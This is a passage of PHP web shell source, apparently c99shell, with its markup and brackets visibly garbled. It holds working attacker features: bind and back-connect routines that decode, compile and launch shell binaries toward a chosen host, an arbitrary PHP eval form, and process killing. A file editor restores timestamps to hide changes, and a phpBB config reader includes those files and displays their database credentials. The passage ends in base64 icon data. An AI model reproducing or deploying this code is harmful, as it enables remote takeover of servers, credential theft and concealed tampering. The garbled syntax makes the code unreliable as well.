$v (1) = str_replace ("%pass",$bind ("pass"),$v (1));
$v (1) = str_replace ("//","/",$v (1));
$retbind = myshellexec ($v (1)." /dev/null &");
sleep (5);
$sock = fsockopen ("localhost",$bind ("port"),$errno,$errstr,5);
if (!$sock) (echo "i can't connect to localhost:".$bind ("port")."! i think you should configure your firewall.";)
else (echo "binding... ok! connect to b".$server_addr.":".$bind ("port")."/b! you should use netcat©, run \"bnc -v ".$server_addr." ".$bind ("port")."/b\"!centera href=\"".$surl."act=ps_aux&grep=".basename ($binpath)."\"uview binder's process/u/a/center";)
)
echo "br";
)
)
if (!empty ($bcsubmit))
(
echo "bresult of back connection:/bbr";
$v = $bcsrcs ($bc ("src"));
if (empty ($v)) (echo "unknown file!br";)
else
(
$srcpath = $tmpdir.$bc ("src");
$w = explode (".",$bc ("src"));
$ext = $w (count ($w)-1);
unset ($w (count ($w)-1));
$binpath = $tmpdir.join (".",$w);
if ($ext == "pl") ($binpath = $srcpath;)
@unlink ($srcpath);
$fp = fopen ($srcpath,"ab+");
if (!$fp) (echo "can't write sources to \"".$srcpath."\"!br";)
else
(
$data = base64_decode ($bndsrcs ($bind (src)));
fwrite ($fp,$data,strlen ($data));
fclose ($fp);
if ($ext == "c") ($retgcc = myshellexec ("gcc -o ".$binpath." ".$srcpath); @unlink ($srcpath);)
$v (1) = str_replace ("%path",$binpath,$v (1));
$v (1) = str_replace ("%host",$bc ("host"),$v (1));
$v (1) = str_replace ("%port",$bc ("port"),$v (1));
$v (1) = str_replace ("//","/",$v (1));
$retbind = myshellexec ($v (1)." /dev/null &");
echo "now script try connect to ".$bc ("host").":".$bc ("port")."...br";
)
)
)
?bbinding port:/bbrform method="post"input type="hidden" name="act" value="bind"input type="hidden" name="d" value="?php echo $d;?"port: input type="text" name="bind (port)" value="?php echo htmlspecialchars ($bind ("port"));?" password: input type="text" name="bind (pass)" value="?php echo htmlspecialchars ($bind ("pass"));?" select name="bind (src)"?php
foreach ($bndportsrcs as $k=$v) (echo "option value=\"".$k."\""; if ($k == $bind ("src")) (echo " selected";) echo "".$v (0)."/option";)
?/select input type="submit" name="bindsubmit" value="bind"/form
bback connection:/bbrform method="post"input type="hidden" name="act" value="bind"input type="hidden" name="d" value="?php echo $d;?"host: input type="text" name="bc (host)" value="?php echo htmlspecialchars ($bc ("host"));?" port: input type="text" name="bc (port)" value="?php echo htmlspecialchars ($bc ("port"));?" select name="bc (src)"?php
foreach ($bcsrcs as $k=$v) (echo "option value=\"".$k."\""; if ($k == $bc ("src")) (echo " selected";) echo "".$v (0)."/option";)
?/select input type="submit" name="bcsubmit" value="connect"/form
click "connect" only after open port for it. you should use netcat©, run "bnc -l -n -v -p <port>/b"!?php
)
)
if ($act == "ps_aux")
(
echo "bprocesses:/bbr";
if ($win) (echo "this function not work in windows!brbr";)
else
(
if ($pid)
(
if (!$sig) ($sig = 9;)
echo "sending signal ".$sig." to #".$pid."... ";
$ret = posix_kill ($pid,$sig);
if ($ret) (echo "ok. he is dead, amen.";)
else (echo "error.";)
)
$ret = myshellexec ("ps -aux");
if (!$ret) (echo "can't execute \"ps -aux\"!";)
else
(
$ret = htmlspecialchars ($ret);
while (ereg (" ",$ret)) ($ret = str_replace (" "," ",$ret);)
$stack = explode ("\n",$ret);
$head = explode (" ",$stack (0));
unset ($stack (0));
if (empty ($ps_aux_sort)) ($ps_aux_sort = $sort_default;)
if (!is_numeric ($ps_aux_sort (0))) ($ps_aux_sort (0) = 0;)
$k = $ps_aux_sort (0);
if ($ps_aux_sort (1)!= "a") ($y = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&ps_aux_sort=".$k."a\"img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"/a";)
else ($y = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&ps_aux_sort=".$k."d\"img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"/a";)
for ($i=0;$icount ($head);$i++)
(
if ($i!= $k) ($head ($i) = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&ps_aux_sort=".$i.$ps_aux_sort (1)."\"b".$head ($i)."/b/a";)
)
$prcs = array ();
foreach ($stack as $line)
(
if (!empty ($line))
(
echo "tr";
$line = explode (" ",$line);
$line (10) = join (" ",array_slice ($line,10,count ($line)));
$line = array_slice ($line,0,11);
if ($line (0) == get_current_user ()) ($line (0) = "font color=\"green\"".$line (0)."/font";)
$line () = "a href=\"".$surl."act=ps_aux&d=".urlencode ($d)."&pid=".$line (1)."&sig=9\"ukill/u/a";
$prcs () = $line;
echo "/tr";
)
)
$head ($k) = "b".$head ($k)."/b".$y;
$head () = "baction/b";
$v = $ps_aux_sort (0);
usort ($prcs,"tabsort");
if ($ps_aux_sort (1) == "d") ($prcs = array_reverse ($prcs);)
$tab = array ();
$tab () = $head;
$tab = array_merge ($tab,$prcs);
echo "table height=1 cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"100%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1 bordercolor=\"#c0c0c0\"";
foreach ($tab as $k)
(
echo "tr";
foreach ($k as $v) (echo "td".$v."/td";)
echo "/tr";
)
echo "/table";
)
)
)
if ($act == "eval")
(
if (!empty ($eval))
(
echo "bresult of execution this php-code/b:br";
$tmp = ob_get_contents ();
$olddir = realpath (".");
@chdir ($d);
if ($tmp)
(
ob_clean ();
eval ($eval);
$ret = ob_get_contents ();
$ret = convert_cyr_string ($ret,"d","w");
ob_clean ();
echo $tmp;
if ($eval_txt)
(
$rows = count (explode ("\r\n",$ret))+1;
if ($rows 10) ($rows = 10;)
echo "brtextarea cols=\"122\" rows=\"".$rows."\" readonly".htmlspecialchars ($ret)."/textarea";
)
else (echo $ret."br";)
)
else
(
if ($eval_txt)
(
echo "brtextarea cols=\"122\" rows=\"15\" readonly";
eval ($eval);
echo "/textarea";
)
else (echo $ret;)
)
@chdir ($olddir);
)
else (echo "bexecution php-code/b"; if (empty ($eval_txt)) ($eval_txt = true;))
echo "form method=\"post\"textarea name=\"eval\" cols=\"122\" rows=\"10\"".htmlspecialchars ($eval)."/textareainput type=\"hidden\" name=\"d\" value=\"".$dispd."\"brbrinput type=\"submit\" value=\"execute\" display in text-area input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) (echo " checked";) echo "/form";
)
if ($act == "f")
(
if ( (!is_readable ($d.$f) or is_dir ($d.$f)) and $ft!= "edit")
(
if (file_exists ($d.$f)) (echo "centerbpermision denied (".htmlspecialchars ($d.$f).")!/b/center";)
else (echo "centerbfile does not exists (".htmlspecialchars ($d.$f).")!/bbra href=\"".$surl."act=f&f=".urlencode ($f)."&ft=edit&d=".urlencode ($d)."&c=1\"ucreate/u/a/center";)
)
else
(
$r = @file_get_contents ($d.$f);
$ext = explode (".",$f);
$c = count ($ext)-1;
$ext = $ext ($c);
$ext = strtolower ($ext);
$rft = "";
foreach ($ftypes as $k=$v) (if (in_array ($ext,$v)) ($rft = $k; break;))
if (eregi ("sess_ (.*)",$f)) ($rft = "phpsess";)
if (empty ($ft)) ($ft = $rft;)
$arr = array (
array ("img src=\"".$surl."act=img&img=ext_diz\" border=\"0\"","info"),
array ("img src=\"".$surl."act=img&img=ext_html\" border=\"0\"","html"),
array ("img src=\"".$surl."act=img&img=ext_txt\" border=\"0\"","txt"),
array ("code","code"),
array ("session","phpsess"),
array ("img src=\"".$surl."act=img&img=ext_exe\" border=\"0\"","exe"),
array ("sdb","sdb"),
array ("img src=\"".$surl."act=img&img=ext_gif\" border=\"0\"","img"),
array ("img src=\"".$surl."act=img&img=ext_ini\" border=\"0\"","ini"),
array ("img src=\"".$surl."act=img&img=download\" border=\"0\"","download"),
array ("img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\"","notepad"),
array ("img src=\"".$surl."act=img&img=change\" border=\"0\"","edit")
);
echo "bviewing file: img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\" ".$f." (".view_size (filesize ($d.$f)).") ".view_perms_color ($d.$f)."/bbrselect action/file-type:br";
foreach ($arr as $t)
(
if ($t (1) == $rft) (echo " a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&d=".urlencode ($d)."\"font color=\"green\"".$t (0)."/font/a";)
elseif ($t (1) == $ft) (echo " a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&d=".urlencode ($d)."\"bu".$t (0)."/u/b/a";)
else (echo " a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&d=".urlencode ($d)."\"b".$t (0)."/b/a";)
echo " (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&white=1&d=".urlencode ($d)."\" target=\"_blank\"+/a) |";
)
echo "hr size=\"1\" noshade";
if ($ft == "info")
(
echo "binformation:/btable border=0 cellspacing=1 cellpadding=2trtdbpath/b/tdtd ".$d.$f."/td/trtrtdbsize/b/tdtd ".view_size (filesize ($d.$f))."/td/trtrtdbmd5/b/tdtd ".md5_file ($d.$f)."/td/tr";
if (!$win)
(
echo "trtdbowner/group/b/tdtd ";
$tmp = posix_getpwuid (fileowner ($d.$f));
if ($tmp ("name") == "") (echo fileowner ($d.$f)."/";)
else (echo $tmp ("name")."/";)
$tmp = posix_getgrgid (filegroup ($d.$f));
if ($tmp ("name") == "") (echo filegroup ($d.$f);)
else (echo $tmp ('name');)
)
echo "trtdbperms/b/tdtda href=\"".$surl."act=chmod&f=".urlencode ($f)."&d=".urlencode ($d)."\"".view_perms_color ($d.$f)."/a/td/trtrtdbcreate time/b/tdtd ".date ("d/m/y h:i:s",filectime ($d.$f))."/td/trtrtdbaccess time/b/tdtd ".date ("d/m/y h:i:s",fileatime ($d.$f))."/td/trtrtdbmodify time/b/tdtd ".date ("d/m/y h:i:s",filemtime ($d.$f))."/td/tr/tablebr";
$fi = fopen ($d.$f,"rb");
if ($fi)
(
if ($fullhexdump) (echo "bfull hexdump/b"; $str = fread ($fi,filesize ($d.$f));)
else (echo "bhexdump preview/b"; $str = fread ($fi,$hexdump_lines*$hexdump_rows);)
$n = 0;
$a0 = "00000000br";
$a1 = "";
$a2 = "";
for ($i=0; $istrlen ($str); $i++)
(
$a1.= sprintf ("%02x",ord ($str ($i)))." ";
switch (ord ($str ($i)))
(
case 0: $a2.= "font0/font"; break;
case 32:
case 10:
case 13: $a2.= " "; break;
default: $a2.= htmlspecialchars ($str ($i));
)
$n++;
if ($n == $hexdump_rows)
(
$n = 0;
if ($i+1 strlen ($str)) ($a0.= sprintf ("%08x",$i+1)."br";)
$a1.= "br";
$a2.= "br";
)
)
//if ($a1!= "") ($a0.= sprintf ("%08x",$i)."br";)
echo "table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4trtd bgcolor=#666666".$a0."/tdtd bgcolor=000000".$a1."/tdtd bgcolor=000000".$a2."/td/tr/tablebr";
)
$encoded = "";
if ($base64 == 1)
(
echo "bbase64 encode/bbr";
$encoded = base64_encode (file_get_contents ($d.$f));
)
elseif ($base64 == 2)
(
echo "bbase64 encode + chunk/bbr";
$encoded = chunk_split (base64_encode (file_get_contents ($d.$f)));
)
elseif ($base64 == 3)
(
echo "bbase64 encode + chunk + quotes/bbr";
$encoded = base64_encode (file_get_contents ($d.$f));
$encoded = substr (preg_replace ("!. (1,76)!","'\\0'.\n",$encoded),0,-2);
)
elseif ($base64 == 4)
(
$text = file_get_contents ($d.$f);
$encoded = base64_decode ($text);
echo "bbase64 decode";
if (base64_encode ($encoded)!= $text) (echo " (failed)";)
echo "/bbr";
)
if (!empty ($encoded))
(
echo "textarea cols=80 rows=10".htmlspecialchars ($encoded)."/textareabrbr";
)
echo "bhexdump:/bnobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&fullhexdump=1&d=".urlencode ($d)."\"full/a) (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&d=".urlencode ($d)."\"preview/a)brbbase64: /b
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=1&d=".urlencode ($d)."\"encode/a) /nobr
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=2&d=".urlencode ($d)."\"+chunk/a) /nobr
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=3&d=".urlencode ($d)."\"+chunk+quotes/a) /nobr
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=4&d=".urlencode ($d)."\"decode/a) /nobr
p";
)
elseif ($ft == "html")
(
if ($white) (@ob_clean ();)
echo $r;
if ($white) (exit;)
)
elseif ($ft == "txt") (echo "pre".htmlspecialchars ($r)."/pre";)
elseif ($ft == "ini") (echo "pre"; var_dump (parse_ini_file ($d.$f,true)); echo "/pre";)
elseif ($ft == "phpsess")
(
echo "pre";
$v = explode ("|",$r);
echo $v (0)."br";
var_dump (unserialize ($v (1)));
echo "/pre";
)
elseif ($ft == "exe")
(
$ext = explode (".",$f);
$c = count ($ext)-1;
$ext = $ext ($c);
$ext = strtolower ($ext);
$rft = "";
foreach ($exeftypes as $k=$v)
(
if (in_array ($ext,$v)) ($rft = $k; break;)
)
$cmd = str_replace ("%f%",$f,$rft);
echo "bexecute file:/bform action=\"".$surl."act=cmd\" method=\"post\"input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars ($cmd)."\" size=\"". (strlen ($cmd)+2)."\"brdisplay in text-areainput type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checkedinput type=\"hidden\" name=\"d\" value=\"".htmlspecialchars ($d)."\"brinput type=\"submit\" name=\"submit\" value=\"execute\"/form";
)
elseif ($ft == "sdb") (echo "pre"; var_dump (unserialize (base64_decode ($r))); echo "/pre";)
elseif ($ft == "code")
(
if (ereg ("phpbb 2. (.*) auto-generated config file",$r))
(
$arr = explode ("\n",$r);
if (count ($arr == 18))
(
include ($d.$f);
echo "bphpbb configuration is detected in this file!br";
if ($dbms == "mysql4") ($dbms = "mysql";)
if ($dbms == "mysql") (echo "a href=\"".$surl."act=sql&sql_server=".htmlspecialchars ($dbhost)."&sql_login=".htmlspecialchars ($dbuser)."&sql_passwd=".htmlspecialchars ($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars ($dbname)."\"buconnect to db/u/b/abrbr";)
else (echo "but, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. please, report us for fix.";)
echo "parameters for manual connect:br";
$cfgvars = array ("dbms"=$dbms,"dbhost"=$dbhost,"dbname"=$dbname,"dbuser"=$dbuser,"dbpasswd"=$dbpasswd);
foreach ($cfgvars as $k=$v) (echo htmlspecialchars ($k)."='".htmlspecialchars ($v)."'br";)
echo "/bhr size=\"1\" noshade";
)
)
echo "div style=\"border: 0px solid #ffffff; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background.";\"";
if (!empty ($white)) (@ob_clean ();)
highlight_file ($d.$f);
if (!empty ($white)) (exit;)
echo "/div";
)
elseif ($ft == "download")
(
@ob_clean ();
header ("content-type: application/octet-stream");
header ("content-length: ".filesize ($d.$f));
header ("content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
)
elseif ($ft == "notepad")
(
@ob_clean ();
header ("content-type: text/plain");
header ("content-disposition: attachment; filename=\"".$f.".txt\";");
echo ($r);
exit;
)
elseif ($ft == "img")
(
$inf = getimagesize ($d.$f);
if (!$white)
(
if (empty ($imgsize)) ($imgsize = 20;)
$width = $inf (0)/100*$imgsize;
$height = $inf (1)/100*$imgsize;
echo "centerbsize:/b ";
$sizes = array ("100","50","20");
foreach ($sizes as $v)
(
echo "a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=img&d=".urlencode ($d)."&imgsize=".$v."\"";
if ($imgsize!= $v ) (echo $v;)
else (echo "u".$v."/u";)
echo "/a ";
)
echo "brbrimg src=\"".$surl."act=f&f=".urlencode ($f)."&ft=img&white=1&d=".urlencode ($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"/center";
)
else
(
@ob_clean ();
$ext = explode ($f,".");
$ext = $ext (count ($ext)-1);
header ("content-type: ".$inf ("mime"));
readfile ($d.$f);
exit;
)
)
elseif ($ft == "edit")
(
if (!empty ($submit))
(
if ($filestealth) ($stat = stat ($d.$f);)
$fp = fopen ($d.$f,"w");
if (!$fp) (echo "bcan't write to file!/b";)
else
(
echo "bsaved!/b";
fwrite ($fp,$edit_text);
fclose ($fp);
if ($filestealth) (touch ($d.$f,$stat (9),$stat (8));)
$r = $edit_text;
)
)
$rows = count (explode ("\r\n",$r));
if ($rows 10) ($rows = 10;)
if ($rows 30) ($rows = 30;)
echo "form method=\"post\"input type=\"submit\" name=\"submit\" value=\"save\" input type=\"reset\" value=\"reset\" input type=\"button\" onclick=\"location.href='".addslashes ($surl."act=ls&d=".substr ($d,0,strlen ($d)-1))."';\" value=\"back\"brtextarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\"".htmlspecialchars ($r)."/textarea/form";
)
elseif (!empty ($ft)) (echo "centerbmanually selected type is incorrect. if you think, it is mistake, please send us url and dump of \$globals./b/center";)
else (echo "centerbunknown extension (".$ext."), please, select type manually./b/center";)
)
)
)
else
(
@ob_clean ();
$images = array (
"arrow_ltr"=
"r0lgodlhjgawaiaaaaaaap///yh5bauuaaealaaaaaamabyaaaivji+py+0pf4i0gvvzuvxxdnoq".
"siruzgzoerkf28kjpnpoaku5rfz+uqskh8riogaaow==",
"back"=
"r0lgodlhfaauakiaaaaaap///93d3cdawiaghgqebp///waaach5baeaaayalaaaaaauabqaaam8".
"alrc/jdkswwpjvyssniyj4cuobjoqjniilzwuzltyn/3zbserf6kbw+gkriprghph+efk0moueqt".
"wg0jads=",
"buffer"=
"r0lgodlhfaauakiaaaaaap////j4+n3d3czmzlkysoaghv///yh5baeaaacalaaaaaauabqaaano".
"elrcribg90y4f1amu5+nhy2kxl2cmkwrqrsguvjp4lmwdawqiagfxchg+xhnrb+ptlohai1cremd".
"dlwv4cec46mi2ygjqkaxsegdfnngwwdtezj9jrprdbhug8cr/2inzioehxsbdwkaow==",
"change"=
"r0lgodlhfaauamqfal3hj7nx+pqo1ejy/f7yactb+8vh+6fth56wztvr/raqezecx9ll/px6/v3+".
"/3eht6q88ehu/zkfh3yvyiuqt+72/kom99fo/p8azm57rkgs4hez6pil9oep3gzmzv///yh5baea".
"ab8alaaaaaauabqaaawf4ceozgme6nmtloulx+c4tvnvq7e9qfzfg4hfonkdja5s54cbraofyeoc".
"wsiutmykkrgwoaea5zrqalldbinmijed266xytgqdm5rx8mdg+oabsydah4ga3c8jbmjaxqgbqga".
"chkje4aqkq0alsitan+zaqqkiiqpj1afaamkekyjd39qrkwkaa8ngqk8agu/cxtcscmexsfixjdl".
"zmshads=",
"delete"=
"r0lgodlhfaauaozzapz8/npfynghls0yovpz8/b29sacpnxv1fx19cwxofdw8kenp/n5+etgeunp".
"6dcglmmprurq6pksktvb2+/v7+1wh3r0dpnp17iaipxyel9fx7djcscsm93d3zgrkeestevd4lcw".
"sgrkzgpou+ifq+eqnoh6fdicpehh4ywfhbjqyvly8ui+xm5ubsxccox8kcm4uty9weadqymjifwv".
"vhx8fmnjycm3uf3v8rrue98onbozs9yfk5sulkyop+tk5n0osufn57zgwsqrr9kil5cqkopj42vl".
"zeapnudax9skmpv7+15qu5ubm39/f8e5u4xiatra2ubkz8pdw+pfee9/lmk0t81rfd8akf///waa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaach5".
"baeaafkalaaaaaauabqaaaesgfmcg4sfhoeihiufiimimlgqb46glalyqkafvvhsaizlt5cbeyi4".
"sto5mxofhqwba1gychckqbk1owiialaclkgxjiltbi69rfhdfh4hdjrzvfgppfbr0fknwddmha8g".
"bztamcisvgmc4ikvwccapsi96oqgnfhki04dgr0qwfckdl3a4uoijvzzabxqiwdblkieqrroqshq".
"jwvfhbgiegqfigqasykcsbjqiaa7",
"download"=
"r0lgodlhfaaualmiaad/aacaaiaaamdawh9/f/8aap///waaap///waaaaaaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaagalaaaaaauabqaaaroemljq704uygovklhfvu4kpojspx5nf9yictlf0suh7pu".
"eyogcbgkwaigphkzzb2jxadasqfcidqjsmfdgqsdjnoqlxtp38przwbx3qgiads=",
"forward"=
"r0lgodlhfaauapiaaaaaap///93d3cdawiaghgqebp///waaach5baeaaayalaaaaaauabqaaam8".
"alrc/jdk2qp9xv5win5g50fzarld6ihe66lpt3rdbd9cqfse4p++qw7he7ukph0iqvw2l0rqseqt".
"wqsjads=",
"home"=
"r0lgodlhfaaualmaaaaaap///+rq6t3d3czmzlkysoaghmzmzgqebp///waaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaakalaaaaaauabqaaar+mmk5ttwi6ipymoo3cuwrgejoccaloko0mq0zxjnsbdws".
"krqaslfj7yqbl4tircyfsppmdrrcoqoil4i8cgzgk09wfwlbyzhb6uwjcequwedhuoevk3qtgn/j".
"vwmrbdzvgf+chhageyicbqyhch8vbjawdaesl5yiw5+gobirads=",
"mode"=
"r0lgodlhhqaualmaaaaaap///6cgpn3d3czmziaghmzmzl9fx////waaaaaaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaagalaaaaaadabqaaasbemljq70461m6/+ahzmugngiqninwhhasz3f7fugu73xo".
"2bzcwgdoexk/uq4icaceq6fzmxtlns0ddle99b7cfvyper55z10xy1lkt8wpoisacrdaqbpyeyk/".
"dh1lrwiee0prtxbvvhwud3o6ed6ohasxmjmamjusy5+gnxujpbirads=",
"refresh"=
"r0lgodlheqaualmaaaaaap////hx8erq6upj493d3czmzlkysoaghmzmzl9fxwqebp///waaaaaa".
"aaaaach5baeaaawalaaaaaarabqaaar1kmljq0q460xr+gaoimvkheiylmyjbkj8lm6yxmki6zwy".
"3akcybjo/y4eqqfgkiyuh8evuwq6pwpfqjpulpunrxzlrykx20g3oda7093esv19q5o/wofu9zaj".
"r3lufmwcvx13h3khfwwmjgbdkpouttuxmjgrads=",
"search"=
"r0lgodlhfaaualmaaaaaap///+rq6t3d3czmzmdawlkysoaghnd3d2zmzl9fx01ntskpkqqebp//".
"/waaach5baeaaa4alaaaaaauabqaaasn0ml5qj0z5xr6+jzgeuzphiqrnoirfiyiy+a6vcophoap".
"s5ikqccz8xgk4eggqqwmvkrsscylhoafvmuzlgudanzxebmodsnrkhiscz4cgruwma+lldxushsd".
"akn4c3sfbx10vhabj4qfa4eiu4pijqcfmcvonkflggcmrscnsucdjyhodasnz5mtdvsxbwlvirmr".
"cbq7c6sirqawrkwtv68iya6rdheaow==",
"setup"=
"r0lgodlhfaauamqaaaaaap////j4+opj493d3czmzmdawlkyspawloaghnd3d2zmzl9fx01ntujc".
"qhwchp///waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaach5baea".
"abaalaaaaaauabqaaawvicskikkwadmushcubjzmweoghvvsfheenryogegljkeg0pf4kbifrmib".
"qcacj4eigqvoivwstfqoxmfoufmmzrgz2gndpgii7gjdlyerwg1vgw8ccqtzghijanafhyt2dwqe".
"owcmzoz0kjkulzeodqkbpgedjzmhnacjlqaiquesmiikpeixnyjhulumhg24aso6yyeaow==",
"small_dir"=
"r0lgodlhewaqalmaaaaaap///5ycam7oy///np//zv/onpf39////waaaaaaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaagalaaaaaatabaaaarremljq7046yp6bxsihevbeakycuprdp7hlxrdeomqcebp".
"/4ychffzgqhh4yrypb2dolhpikwqd1pq8yrvvg3qyeh5ryk5rjfafuua3vb4fbibads=",
"small_unk"=
"r0lgodlheaaqahcaach5baeaajualaaaaaaqabaahwaaaiep3be9mllic3b5ivpjdmvh/mlc+y1u".
"p9pm/gvufc7j/mzv/9xm/eom99bn/njp/a7q+ttm/lhs+exw/t3r/nnp/djo/nrq/fj7/9vq/nfo".
"/mbe+8rh/mng+7jw+rvy+r7z+7xr9ddk/nhk/nll/ltu+rnx+8zi/lbv++fx/e72/vh3/vl4/u31".
"/e31/udu/dzr/orz/ehu/fx6/vh4/v////v+/3ez6vf7//t5/kgs4pv9/7xv+rht+r/b+rza+vp4".
"/uz0/urz/u71/uvz/dtn/m/k/n3s/dvr/cjg+8pd+8hc+sff+8te+/d2/rxi8rhf8brm87fj8nmp".
"wr3n86/d8kvb8f9neefotebntenptenptsxupx1iodlfrtrcrzeeyzacxpmhziurtpwzxiuoukqz".
"9zowwx6is3wiu5im07rj9j2t2zek0m57rpqo1nkctuvrtyir3vf6/46v4yuu4wzvfr7p6sps6sdq".
"66xb6cjz8a/k79/s/dbn/ezz/czd9mn0jktb6ai/76w97nixz2gcwv6awudstxyvygsdwnmyz4io".
"24oi1a3b45sy4ae944ccz4sj1n2glgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aajnactvckcw4jxjaqqqfbjaxo0mngqsabqah6cfa3nk0mhirrevdhzsolqwaj0gt4toecshaymz".
"aqgodnccsb4eanimcisbjuyglobgxbtpkaa5i6pgmskdz5cumsz8ywlayoczfgb4sqkhasmbxjpm".
"usrqeqwkgjykqctay6alumhwklqbw4mehgsa6xpgrxs5ii40klfgi4bgtekasckxihesczrsgsqc".
"yikuv+sqoylca4csaup86ogdknw4bpq4oabfgb0teyiukqdwtrs4a9ymcsomdboyzu4sjkcgwidj".
"yasokbkqads=",
"multipage"="r0lgodlhcgamajedap/////3mqaaaaaaach5baeaaamalaaaaaakaawaaaij3ir".
"pjhcodnovidaovbdmzzkixlxdli2ozpjwessywlzruaaaow==",
"sort_asc"=
"r0lgodlhdgajakiaaaaaap///9tqyicagp///waaaaaaaaaaach5baeaaaqalaaaaaaoaakaaama".
"slrcpce9gkuaqlq5sn5ploflj35ook6q5syaow==",
"sort_desc"=
"r0lgodlhdgajakiaaaaaap///9tqyicagp///waaaaaaaaaaach5baeaaaqalaaaaaaoaakaaamb".
"slrcojbcb4uvitgylt5ch2mgsjzdbi7p6hijads=",
"sql_button_drop"=
"r0lgodlhcqalapcaaaaaaiaaaacaaicaaaaagiaagacagicagmdawp8aaad/ap//aaaa//8a/wd/".
"/////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamwaazgaamqaazaaa/wazaaazmwazzgazmqazzaaz/wbm".
"aabmmwbmzgbmmqbmzabm/wczaaczmwczzgczmqczzacz/wdmaadmmwdmzgdmmqdmzadm/wd/aad/".
"mwd/zgd/mqd/zad//zmaadmamzmazjmamtmazdma/zmzadmzmzmzzjmzmtmzzdmz/znmadnmmznm".
"zjnmmtnmzdnm/zozadozmzozzjozmtozzdoz/zpmadpmmzpmzjpmmtpmzdpm/zp/adp/mzp/zjp/".
"mtp/zdp//2yaagyam2yazmyamwyazgya/2yzagyzm2yzzmyzmwyzzgyz/2zmagzmm2zmzmzmmwzm".
"zgzm/2azagazm2azzmazmwazzgaz/2bmagbmm2bmzmbmmwbmzgbm/2b/agb/m2b/zmb/mwb/zgb/".
"/5kaajkam5kazpkamzkazjka/5kzajkzm5kzzpkzmzkzzjkz/5lmajlmm5lmzplmmzlmzjlm/5mz".
"ajmzm5mzzpmzmzmzzjmz/5nmajnmm5nmzpnmmznmzjnm/5n/ajn/m5n/zpn/mzn/zjn//8waamwa".
"m8wazswamcwazmwa/8wzamwzm8wzzswzmcwzzmwz/8xmamxmm8xmzsxmmcxmzmxm/8yzamyzm8yz".
"zsyzmcyzzmyz/8zmamzmm8zmzszmmczmzmzm/8z/amz/m8z/zsz/mcz/zmz///8aap8am/8azv8a".
"mf8azp8a//8zap8zm/8zzv8zmf8zzp8z//9map9mm/9mzv9mmf9mzp9m//+zap+zm/+zzv+zmf+z".
"zp+z///map/mm//mzv/mmf/mzp/m////ap//m///zv//mf//zp///yh5baeaabaalaaaaaajaasa".
"aag4ap8jrefq4d+ccboi4mawitefcg/iqhepxcsblfcoq5fx4mskv1bgrggmo0ijfc2ehhjsomt/".
"aqeaow==",
"sql_button_empty"=
"r0lgodlhcqakapcaaaaaaiaaaacaaicaaaaagiaagacagicagmdawp8aaad/ap//aaaa//8a/wd/".
"/////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamwaazgaamqaazaaa/wazaaazmwazzgazmqazzaaz/wbm".
